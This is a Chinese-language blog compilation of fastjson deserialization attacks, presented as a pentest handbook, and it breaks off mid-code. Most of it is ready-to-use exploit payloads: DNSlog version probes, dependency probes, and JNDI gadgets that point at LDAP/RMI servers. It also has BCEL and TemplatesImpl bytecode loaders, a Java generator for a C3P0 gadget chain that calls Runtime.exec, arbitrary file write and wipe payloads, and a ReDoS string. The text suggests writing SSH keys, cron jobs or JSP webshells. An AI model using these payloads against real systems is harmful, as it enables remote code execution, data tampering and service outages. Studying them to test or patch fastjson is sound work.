fastjson多个版本超级大综合总结一次过(黑盒&白盒&原生反序列化)

本文三个模块:黑盒白盒以及原生反序列化

根据自己需求选择直接看就行

博客:http://cxkhanhan.blog.top

前言:

初心是看到fastjson有很多版本和很多漏洞但是很多好的知识点或者内容都是分散的

没有超级大整合

做了个超级大整合方便感兴趣的师傅学习可以从白盒的部分开始

也方便有经验的师傅可以直接用这篇文章去直接搜索相关依赖看看有没有利用点什么的

白盒的最后两个高版本有点分析不动了,环境要求比较高实战效果低以及学习成本高

我就贴了里面的一些关键部分和内容感兴趣的师傅可以到时候直接看原文深入了解

有的地方是贴了部分文章的非常完美的部分.有点缝合怪了.可能会有些忘记标注出归属见谅

也有很多自己写的地方orz和自己的理解,并不完全缝合照搬(

黑盒和白盒可能会有重复的内容

白盒偏向分析原理更多,

黑盒适合拿过来直接渗透测试的时候的类似于实战手册一样的看着打(

文章是这段时间看了将近50篇fastjson的文章的一个大总结基本很多知识点都会考到和涉及到也会有很多标明出处(也有写的很水的文章统计在内)

如果有忘记标明出处的地方轻喷……真的太多了

下面这张图是在白盒和原生反序列化写的差不多就差黑盒没写的情况下还剩多少没详细看的文章或者忘记关的文章….加上已经关了的文章大概会有五十个文章….所以这篇大总结的内容也是出奇的多有的地方会贴原文内容orz.自己一点一点写不知道写到什么时候(有些环境要求太高或者一些写的很好的文章已经看完完整的融入到我的文章里然后关闭了,因为太多文章不关闭有点不好整理)

image-20250605012735971

双浏览器的习惯所以会有两个标签页

搭建靶场可以试试这个

lemono0/FastJsonParty: FastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本),主要包括JNDI注入及高版本绕过、waf绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。从黑盒的角度覆盖FastJson深入利用

黑盒:

判断是否是fastjson:

随便挑个payload然后删掉一部分引起报错根据报错的回显就可以判断是否是使用fastjson

说简单点就是不闭合的双引号,花括号,中括号都有可能存在报错

我记得我测试的时候把application/json改成application/x-www-form-urlencoded也会引发报错返回版本或者fastjson的一些有关报错

上面的方法最好都尝试尝试因为是黑盒,可能不同的报错方法能得到不同的信息

注意:!!!

下面很多给的payload可能不能拿过来直接用的

可能需要你在外围再套一层{}才可以

具体原理可以参考最后的部分的从黑盒&白盒的角度分析一些报错的成因以及处理方法

比如

1
2
3
4
{
"@type":"java.net.Inet4Address",
"val":"kajmnb.dnslog.cn"
}

这样是不通的

外围还要这样再套一层才可以

1
2
3
4
5
6
{
"a":{
"@type":"java.net.Inet4Address",
"val":"kajmnb.dnslog.cn"
}
}

下文是在文章FastJsonParty/Fastjson全版本检测及利用-Poc.md at main · lemono0/FastJsonParty

的基础上做更改添加等等

根据解析变化

1
{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"} {"ext":"blue","name":{"$ref":"$.ext"}}

查看响应状态

1
{"@type":"whatever"}

Dnslog-出网

DNS能接收到请求则使用FastJson。

1
2
3
4
{
"@type":"java.net.Inet4Address",
"val":"dnslog"
}

FastJson版本检测

若是白盒或其他能拿到代码的情况下直接看pom.xml中引入的FastJson的依赖或lib目录下的jar包即可。黑盒情况下需要一些手法来检测是否使用FastJson或者FastJson具体版本。后面会写一篇

AutoCloseable精确探测版本号

1
2
{
"@type": "java.lang.AutoCloseable"

image.png 注意:在FastJson版本大概1.2.76后,即便是通过这种方式探测出精准的FastJson版本,也是1.2.76,即便是使用的1.2.80的依赖,因为在源码中并没有改变。

Dnslog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
//  <=1.2.47
[
{
"@type": "java.lang.Class",
"val": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "aaa.xxxx.ceye.io"
}
}
]


// <=1.2.68
[
{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "bbb.n41tma.ceye.io"
}
}
]


// <=1.2.80 收到一个dns请求,1.2.83 收到两个dns请求
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ccc.4fhgzj.dnslog.cn"
}
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ddd.4fhgzj.dnslog.cn"
}
}
}
]

上面的dnslog打不成可以试试下面这个

[fastjson 1.2.73-1.2.80漏洞分析](https://blog.ninefiger.top/2022/11/11/fastjson 1.2.73-12.80漏洞分析/#3-6-aspectjtools利用链)

结合之前1.2.24、1.2.47、1.2.68、1.2.80不同阶段对autoTypeSupport的绕过,整理如下检测版本的poc

  • <=1.2.24

随便加载一个类,再使用Inet4Address

1
2
3
4
5
6
7
{
"@type": "java.lang.error",
{
"@type": "java.net.Inet4Address",
"val": "DNSLOG"
}
}
  • 1.2.25 ~ 1.2.47
1
2
3
4
5
6
7
8
9
10
11
12
13
[
{
"@type": "java.lang.Class",
"val": "java.lang.Error"
},
{
"@type": "java.lang.Error"
},
{
"@type": "java.net.Inet4Address",
"val": "DNSLOG"
}
]
  • 1.2.48 ~ 1.2.68

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    [
    {
    "@type": "java.lang.AutoCloseable",
    "@type": "java.io.ByteArrayOutputStream"
    },
    {
    "@type": "java.io.ByteArrayOutputStream"
    },
    {
    "@type": "java.net.Inet4Address",
    "val": "DNSLOG"
    }
    ]
  • 1.2.69~1.2.80

    • 如果版本为1.2.83,则 21.DNSLOG和22.DNSLOG的dns请求都会收到,如果版本<=1.2.80, 则只能收到第一个dnslog请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.Inet4Address",
"val": "21.DNSLOG"
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.Inet4Address",
"val": "22.DNSLOG"
}
}
]

在1.2.80中,由于进入ThrowableDeserializer反序列化工具类,当Key是message时,抛出异常;而1.2.83中修复了Throwable的相关问题,导致message的key不再具有特殊性,因此可以收到dnslog1

  • 1.2.83
1
2
3
4
5
6
7
8
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.Inet4Address",
"val": "DNSLOG"
}
}

FastJson引入依赖检测

其实主要是针对于黑盒情况下,在确定FastJson具体版本后,下一步就是对应payload探测该环境存在的一些依赖,而不是一味的盲打。 主要需要依赖能够回显FastJson的报错的探测,虽然网上流传的有DNSLOG探测,但我实在是没有复现成功,后面再看吧。

Character转换报错

测试比较通用的方法:利用Character转换报错

1
2
3
4
5
6
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}}

若存在org.springframework.web.bind.annotation.RequestMapping: image.png 若不存在: image.png

依赖类列举

列举一些可能会用到的依赖类:对应Poc探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
org.springframework.web.bind.annotation.RequestMapping  //SpringBoot
org.apache.catalina.startup.Tomcat //Tomcat
groovy.lang.GroovyShell //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources //C3P0
com.mysql.jdbc.Buffer //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
sun.nio.cs.GBK //JDK8
java.net.http.HttpClient //JDK11
org.apache.ibatis.type.Alias //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets // 存在commons-io,但不确定版本
org.apache.commons.io.file.Counters //commons-io-2.7-2.8
org.aspectj.ajde.Ajde //aspectjtools

C3P0二次反序列化

只要存在C3P0依赖,FastJson<=1.2.47通杀,无需开启autotype,且能够不出网利用。 这里之前写错了,其实不用引入例如CC这样的反序列化漏洞链,FastJson本身也存在原生发序列化漏洞链,且覆盖1.2全版本(没想到吧XD),所以利用范围就更大了。具体可看这篇:FastJson原生反序列化

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.4</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
{
"a":{
"@type":"java.lang.Class",
"val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"b":{
"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString":"HexAsciiSerializedMap:EVIL_HEX;",
}
}

生成evil_hex:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
public static void main(String[] args) throws Exception {
String evil_hex = bytesToHex(tobyteArray(gen()));
String FJ1247 = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
" },\n" +
" \"b\":{\n" +
" \"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\":\"HexAsciiSerializedMap:" + evil_hex + ";\",\n" +
" }\n" +
"}\n";
System.out.println(FJ1247);
JSON.parseObject(FJ1247);
}
//这里用的cc6,可以随意引用其他反序列化链
public static Object gen() throws NoSuchFieldException, IllegalAccessException {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);

JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);

BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setValue(bd,"val",jsonArray);

HashMap hashMap = new HashMap();
hashMap.put(templates,bd);

return hashMap;
}

//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o); //
return bao.toByteArray();
}

//字节数组转十六进制
public static String bytesToHex(byte[] bytes) {
StringBuffer stringBuffer = new StringBuffer();
for (int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(bytes[i] & 0xff); //bytes[]中为带符号字节-255~+255,&0xff: 保证得到的数据在0~255之间
if (hex.length()<2){
stringBuffer.append("0" + hex); //0-9 则在前面加‘0’,保证2位避免后面读取错误
}else {
stringBuffer.append(hex);
}
}
return stringBuffer.toString();

}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] genPayload(String cmd) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\""+cmd+"\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

FastJson <=1.2.47

有通杀的,具体的细小的其他版本利用感兴趣的可以看白盒

JdbcRowSetImpl

条件限制:

对于JDK版本11.0.1、8u191、7u201、6u211及以上,RMI和LDAP的trustURLCodebase已经被限制,但是还存在几种方法绕过。

高版本的绕过感兴趣的师傅可以看看这几个https://www.cnblogs.com/EddieMurphy-blogs/p/18078943

https://research.qianxin.com/archives/2414

https://wjlshare.com/archives/1661

1
2
3
4
5
6
7
8
9
10
11
12
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://10.30.1.214:1389/my9azs",
"autoCommit":true
}
}

BCEL-1.2.36~1.2.47

条件限制:

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面

还有个条件限制就是环境maven必须要存在tomcat-dbcp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$CA$Q$ac$86$85$85uQ$k$e2$fb$RO$82$H$b9x$c3$Y$T$a3$89$c9F$M$Q$3c$_$e3$88C$60$d7$ec$ce$g$7e$cb$8b$g$P$7e$80$le$ecA$82$qNg$a6R$d5$d5$dd3$f3$f5$fd$f1$J$e0$E$fb$O$b2$u$3b$a8$605$87$aa$c15$h$eb66$I$d9S$V$u$7dFH$d7$ea$3d$82u$R$deK$c2$8a$a7$Cy$93$8c$fb2$ea$fa$fd$R$xe$_$U$fe$a8$e7G$ca$f0$99h$e9G$V$T$f2$5eW$c6$ba$z$l$9a$E$e7r$o$e4$93Va$Q$db$d8d$de$J$93H$c8$xe$fc$ee$ccw$3c$f4$9f$7d$X6r6$b6$5clc$87$7bq$7b$e1b$X$7b$E$7b$e6$p$U$8d$b31$f2$83A$a3$d5$lJ$a1$J$95$a9$a4$c2$c6uk$3e$8bP$fa3$b6$93$40$ab1$8fs$GR$cfI$b5V$f7$fey$f8$c2$96$9cHA8$ac$zd$3b$3aR$c1$a0$b9Xp$h$85B$c6q$T$H$c8$f0g$9aE$i$fc$E$a4$90gv$ceH$8c$cbGo$a0w$a4$ca$e9WXw$_$ac$a4$e0$Y$ji$3e$z$8e$M$K$dca$89$99$fb$5b$c1X$98$a2$c9$f3$e7$f3$$N$ebJ$3f$83$94$e8$8d$c2$B$A$A",

"$ref": "$.x.y.c.connection"
}
}
}
}

BCEL-1.2.24~1.2.35

条件限制:

BCEL Classloader在 JDK < 8u251之前是在rt.jar里面

还有个条件限制就是环境maven必须要存在tomcat-dbcp

1
2
3
4
5
6
7
8
9
10
11
12
13
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}
//注意:这里是tomcat>8的poc,如果小于8的话用到的类是
//org.apache.tomcat.dbcp.dbcp.BasicDataSource

TemplatesImpl

存在条件限制

必须要使用Feature.SupportNonPublicField的情况下才能打这个链子

上面有相关的概念和情况讲解直接ctrl+f搜Feature.SupportNonPublicField查看用法

使用注意点:

fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

payload如下

1
2
3
4
5
6
7
8
9
{
"b": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "su18",
"_tfactory": {},
"_outputProperties": {},
}
}

bytecode变成想要加载的恶意类的字节即可

更多的fastjson利用链:

https://www.javasec.org/java-vuls/FastJson.html

以下为部分在各个途径搜集的 payload,版本自测:

JdbcRowSetImpl

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:23457/Command8",
"autoCommit": true
}

TemplatesImpl

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgA...k="],
'_name': 'su18',
'_tfactory': {},
"_outputProperties": {},
}

JndiDataSourceFactory

1
2
3
4
5
6
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:23457/Command8"
}
}

SimpleJndiBeanFactory

1
2
3
4
5
6
7
8
9
10
11
{
"@type": "org.springframework.beans.factory.config.PropertyPathFactoryBean",
"targetBeanName": "ldap://127.0.0.1:23457/Command8",
"propertyPath": "su18",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
}
}

DefaultBeanFactoryPointcutAdvisor

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor",
"beanFactory": {
"@type": "org.springframework.jndi.support.SimpleJndiBeanFactory",
"shareableResources": [
"ldap://127.0.0.1:23457/Command8"
]
},
"adviceBeanName": "ldap://127.0.0.1:23457/Command8"
},
{
"@type": "org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor"
}

WrapperConnectionPoolDataSource

1
2
3
4
{
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:aced000...6f;"
}

JndiRefForwardingDataSource

1
2
3
4
5
{
"@type": "com.mchange.v2.c3p0.JndiRefForwardingDataSource",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"loginTimeout": 0
}

InetAddress

1
2
3
4
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}

Inet6Address

1
2
3
4
{
"@type": "java.net.Inet6Address",
"val": "http://dnslog.com"
}

URL

1
2
3
4
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}

JSONObject

1
2
3
4
5
6
7
8
9
{
"@type": "com.alibaba.fastjson.JSONObject",
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}
}
""
}

URLReader

1
2
3
4
5
6
7
8
9
10
{
"poc": {
"@type": "java.lang.AutoCloseable",
"@type": "com.alibaba.fastjson.JSONReader",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "http://127.0.0.1:9999"
}
}
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.compress.compressors.gzip.GzipCompressorOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/path/to/target"
},
"parameters": {
"@type": "org.apache.commons.compress.compressors.gzip.GzipParameters",
"filename": "filecontent"
}
}

BasicDataSource

1
2
3
4
5
6
7
8
{
"@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A...",
"driverClassLoader" :
{
"@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
}
}

JndiConverter

1
2
3
4
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://127.0.0.1:23457/Command8"
}

JtaTransactionConfig

1
2
3
4
5
6
7
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://127.0.0.1:23457/Command8"
}
}

JndiObjectFactory

1
2
3
4
{
"@type": "org.apache.shiro.jndi.JndiObjectFactory",
"resourceName": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

AnterosDBCPConfig2

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

CacheJndiTmLookup

1
2
3
4
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": "ldap://127.0.0.1:23457/Command8"
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 清空指定文件

1
2
3
4
5
6
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileWriter",
"file":"/tmp/nonexist",
"append":false
}

AutoCloseable 任意文件写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{
"stream":
{
"@type":"java.lang.AutoCloseable",
"@type":"java.io.FileOutputStream",
"file":"/tmp/nonexist",
"append":false
},
"writer":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.solr.common.util.FastOutputStream",
"tempBuffer":"SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=",
"sink":
{
"$ref":"$.stream"
},
"start":38
},
"close":
{
"@type":"java.lang.AutoCloseable",
"@type":"org.iq80.snappy.SnappyOutputStream",
"out":
{
"$ref":"$.writer"
}
}
}

BasicDataSource

1
2
3
4
5
6
7
8
{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassName": "true",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A...o$V$A$A"
}

HikariConfig

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://127.0.0.1:23457/Command8"
}

HikariConfig

1
2
3
4
{
"@type": "org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://127.0.0.1:23457/Command8"
}

SessionBeanProvider

1
2
3
4
5
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://127.0.0.1:23457/Command8",
"Object": "su18"
}

JMSContentInterceptor

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
"@type": "java.util.Hashtable",
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://127.0.0.1:23457/Command8"
},
"namespace": ""
}

ContextClassLoaderSwitcher

1
2
3
4
5
6
7
8
9
{
"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}

OracleManagedConnectionFactory

1
2
3
4
{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}

JNDIConfiguration

1
2
3
4
{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:23457/Command8"
}

FastJson <=1.2.60

commons-configuration-1.10,且autotype enable:ParserConfig.getGlobalInstance().setAutoTypeSupport(true)

1
2
3
4
5
<dependency>
<groupId>commons-configuration</groupId>
<artifactId>commons-configuration</artifactId>
<version>1.10</version>
</dependency>
1
{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"}

FastJson <=1.2.61

autotype anable:

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-configuration2</artifactId>
<version>2.8.0</version>
</dependency>
1
{"@type":"org.apache.commons.configuration2.JNDIConfiguration","prefix":"ldap://10.30.1.214:1389/msy62c"}

FastJson <=1.2.67

Shiro

条件:开启autotype,存在shiro(不限版本)即可通杀

1
2
3
4
5
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.5.2</version>
</dependency>
1
2
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.0.107:1389/y0drfh","instance":{"$ref":"$.instance"}}

FastJson 1.2.36~1.2.62

存在拒绝服务攻击,无其他条件,可变相用于黑盒版本探测

1
2
3
{"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}

{"regex":{"$ref":"$[\blue = /\^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$/]"},"blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"}

fastjson-1.2.45

在此版本爆出了一个黑名单绕过,实际上,黑名单是无穷无尽的,随着 fastjson 的版本更新,一定会有更多的黑名单爆出来,因为隔壁 jackson 都是明文黑名单的,只要隔壁一更新,大家都看到了,就会拿来看 fastjson。

影响版本:1.2.25 <= fastjson <= 1.2.45 描述:黑名单列表需要不断补充。

1
2
3
4
5
6
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{
"data_source":"ldap://127.0.0.1:23457/Command8"
}
}

fastjson<=1.2.62

基于黑名单绕过exp:

1
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://x.x.x.x:9999/exploit"}";

fastjson<=1.2.66

也是基于黑名单绕过,autoTypeSupport属性为true才能使用,(fastjson>=1.2.25默认为false)以下是几个exp:

1
2
3
4
5
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransacti
on":"ldap://192.168.80.1:1389/Calc"}}

fastjson<=1.2.68和fastjson<=1.2.80说明

这两个版本的利用

涉及到很多依赖

环境要求限制偏高

除了下面粘贴的部分如果没有你心里想要的链子或者能成功的链子

还可以试试看看我白盒关于这部分整理的链子和文章

避免存在遗漏(

FastJson <=1.2.68

又是另一个大版本系列,因为黑名单的限制极大约束了JNDI类型的利用,所以后面就把漏洞利用方式移到了期望类(expectClass)上,观察下面的Poc,基本上的都是使用的java.lang.AutoCloseable绕过期望类,同时将利用思路转移到文件读写操作上。 关于文件读写的危害:既然探测到存在漏洞,便可通过文件写操作写入计划任务、ssh密钥、dll劫持、写入jsp木马(非spring,能解析jsp)、写入jar包启动加载等等,读文件就不说了,配置文件、敏感文件等。

写文件利用

依赖比较多,条件苛刻
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
<dependency>
<groupId>com.sleepycat</groupId>
<artifactId>je</artifactId>
<version>5.0.73</version>
</dependency>

buffer处为写入文件的base64编码字符串,position为对应的解码后数据的字节长度,需设置正确,否则报错。若原字符串包含中文字符则一个字符的字节长度为2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "e:/ddd.txt",
"tempPath": "e:/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "cXdlcmFzZGY=",
"outputStream": {
"$ref": "$.stream"
},
"position": 8
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

Commons-IO 2.0 - 2.6

JDK8: 1.2.37<=FastJson<=1.2.68 JDK11: 1.2.57<=FastJson<=1.2.68

1
2
3
4
5
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>

需保证在数据传入时长度必须大于8192(8KB)才会写入到文件,且只会写入前8KB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
//commons-io 2.0 - 2.6 版本:
String code = "FLAG{THIS_IS_A_flAT_THAT_You_REALLY_waNT!!!}";
int length = code.length();
for (int i = 0; i <= 8192 - length ; i++) {
code += " ";
}
String poc4 = "{\n" +
" \"x\":{\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"input\":{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\n" +
" \"reader\":{\n" +
